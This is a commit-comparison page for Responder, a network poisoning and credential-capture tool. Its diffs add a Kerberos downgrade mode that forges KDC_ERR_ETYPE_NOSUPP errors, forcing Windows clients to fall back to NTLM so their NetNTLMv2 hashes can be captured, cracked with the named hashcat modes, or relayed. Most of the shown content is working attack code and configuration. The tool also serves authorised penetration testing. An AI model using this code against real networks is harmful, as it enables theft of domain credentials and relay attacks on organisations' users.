Compare commits

...

6 Commits

Author SHA1 Message Date
lgandx
376d2e87d2 Merge branch 'master' of https://github.com/lgandx/Responder 2026-01-07 15:10:43 -03:00
lgandx
683fa6047e updated tips jar 2026-01-07 15:10:19 -03:00
lgandx
1d41902e48 Update README.md
Long overdue README update
2026-01-07 15:05:08 -03:00
lgandx
35e6d70d83 Update README.md 2026-01-07 14:13:39 -03:00
lgandx
b74f42f56a added Kerberos to NTLM downgrade 2026-01-07 12:17:22 -03:00
lgandx
1f7858a223 removed unused functions 2026-01-06 22:37:45 -03:00
6 changed files with 1180 additions and 369 deletions

1173
README.md

File diff suppressed because it is too large Load Diff

View File

@@ -105,6 +105,37 @@ SendRA = Off
; Example: 2001:db8::1
BindToIPv6 =
[Kerberos]
; ======================================================
; Kerberos Operation Mode (NEW FEATURE)
; ======================================================
;
; CAPTURE (default) - Capture Kerberos AS-REP hashes
; - Responds with KDC_ERR_PREAUTH_REQUIRED
; - Client sends encrypted timestamp
; - Responder captures AS-REP hash
; - Crack with: hashcat -m 7500
; - Good for: Stealthy operation, unique Kerberos hashes
;
; FORCE_NTLM - Force client to fall back to NTLM
; - Responds with KDC_ERR_ETYPE_NOSUPP
; - Client abandons Kerberos, tries NTLM
; - Responder's SMB/HTTP captures NetNTLMv2
; - Crack with: hashcat -m 5600
; - Good for: Relay attacks, faster cracking
;
; Choose based on engagement needs:
; - Use CAPTURE for stealth and Kerberos-specific hashes
; - Use FORCE_NTLM for relay attacks or faster cracking
;
; Default: CAPTURE (if not specified)
; ======================================================
KerberosMode = CAPTURE
; Alternative: Force NTLM fallback
;KerberosMode = FORCE_NTLM
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
################### Mailslot NETLOGON ######################
class NBTUDPHeader(Packet):
fields = OrderedDict([
("MessType", "\x11"),
("MoreFrag", "\x02"),
("TID", "\x82\x92"),
("SrcIP", "0.0.0.0"),
("SrcPort", "\x00\x8a"), ##Always 138
("DatagramLen", "\x00\x00"),
("PacketOffset", "\x00\x00"),
("ClientNBTName", ""),
("DstNBTName", ""),
("Data", ""),
])
def calculate(self):
self.fields["SrcIP"] = RespondWithIPAton()
## DatagramLen.
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
class SMBTransMailslot(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00"),
("MaxParamCount", "\x02\x00"),
("MaxDataCount", "\x00\x00"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00"),
("Flags", "\x00\x00"),
("Timeout", "\xff\xff\xff\xff"),
("Reserved2", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x03"),
("Reserved3", "\x00"),
("Opcode", "\x01\x00"),
("Priority", "\x00\x00"),
("Class", "\x02\x00"),
("Bcc", "\x00\x00"),
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
("MailSlotNull", "\x00"),
("Padding", "\x00\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["Padding"] = "\x00\x00\x00\x00"
else:
self.fields["Padding"] = "\x00\x00\x00"
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
class SamLogonResponseEx(Packet):
fields = OrderedDict([
("Cmd", "\x17\x00"),
("Sbz", "\x00\x00"),
("Flags", "\xfd\x03\x00\x00"),
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestNameNull", "\x00"),
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestDomainNull", "\x00"),
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
("DNSPointer", "\xc0\x18"),
("DomainName", "\x04\x53\x4d\x42\x33"),
("DomainTerminator", "\x00"),
("ServerLen", "\x0a"),
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
("SrvSiteNameNull", "\x00"),
("Pointer", "\xc0"),
("PointerOffset", "\x5c"),
("DCAddrSize", "\x10"),
("AddrType", "\x02\x00"),
("Port", "\x00\x00"),
("DCAddress", "\xc0\xab\x01\x65"),
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Version", "\x0d\x00\x00\x00"),
("LmToken", "\xff\xff"),
("LmToken2", "\xff\xff"),
])
def calculate(self):
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
self.fields["DCAddress"] = RespondWithIPAton()
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))

View File

@@ -444,6 +444,85 @@ def build_krb_error(realm, cname, sname=None):
return krb_error
def build_krb_error_force_ntlm(realm, cname, sname=None):
"""
Build KRB-ERROR with KDC_ERR_ETYPE_NOSUPP (14)
This forces the client to fall back to NTLM authentication
Useful when you want NetNTLMv2 hashes instead of Kerberos AS-REP:
- NetNTLMv2 is often faster to crack
- Can be relayed to other services
"""
# Get current time
current_time = time.time()
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
susec = int((current_time - int(current_time)) * 1000000)
# Build sname (server name)
if sname is None:
sname = 'krbtgt'
# Build the inner SEQUENCE
inner = b''
# [0] pvno: 5
inner += b'\xa0\x03\x02\x01\x05'
# [1] msg-type: 30 (KRB-ERROR)
inner += b'\xa1\x03\x02\x01\x1e'
# [4] stime (server time)
time_bytes = time_str.encode('ascii')
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
# [5] susec (microseconds)
susec_bytes = struct.pack('>I', susec)
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
susec_bytes = susec_bytes[1:]
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
# [6] error-code: 14 (KDC_ERR_ETYPE_NOSUPP) - forces NTLM fallback
inner += b'\xa6\x03\x02\x01\x0e'
# [9] realm (server realm)
realm_bytes = realm.encode('ascii')
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
# [10] sname (server principal name)
sname_str = sname.encode('ascii')
realm_str = realm.encode('ascii')
# Build name-string SEQUENCE
name_string_seq = b''
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
# Wrap in SEQUENCE
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
name_type = b'\xa0\x03\x02\x01\x02'
# Build PrincipalName SEQUENCE
principal_seq = name_type + name_string_tagged
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
# Tag [10]
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
# [11] e-text (error description)
etext_str = "KDC has no support for encryption type"
etext_bytes = etext_str.encode('ascii')
inner += b'\xab' + encode_asn1_length(len(etext_bytes) + 2) + b'\x1b' + encode_asn1_length(len(etext_bytes)) + etext_bytes
# Wrap in SEQUENCE
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
# Wrap in APPLICATION 30 tag
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
return krb_error
def build_pa_data(realm, cname):
"""
Build PA-DATA sequence for pre-authentication
@@ -571,6 +650,9 @@ class KerbTCP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -626,19 +708,45 @@ class KerbTCP(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
@@ -664,6 +772,9 @@ class KerbUDP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -715,18 +826,43 @@ class KerbUDP(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:

View File

@@ -231,6 +231,16 @@ class Settings:
else:
self.ExternalResponderIP6 = self.Bind_To6
# Kerberos operation mode: CAPTURE (AS-REP hashes) or FORCE_NTLM (force fallback)
try:
self.KerberosMode = config.get('Kerberos', 'KerberosMode').strip()
if self.KerberosMode not in ['CAPTURE', 'FORCE_NTLM']:
print('[Config] Invalid KerberosMode: %s, defaulting to CAPTURE' % self.KerberosMode)
self.KerberosMode = 'CAPTURE'
except:
# Default to CAPTURE mode if not specified (backward compatible)
self.KerberosMode = 'CAPTURE'
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')

View File

@@ -492,7 +492,7 @@ def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[*] ", 2, 1) + 'Tips jar:\n USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A\n BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
@@ -538,7 +538,6 @@ def StartupMessage():
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))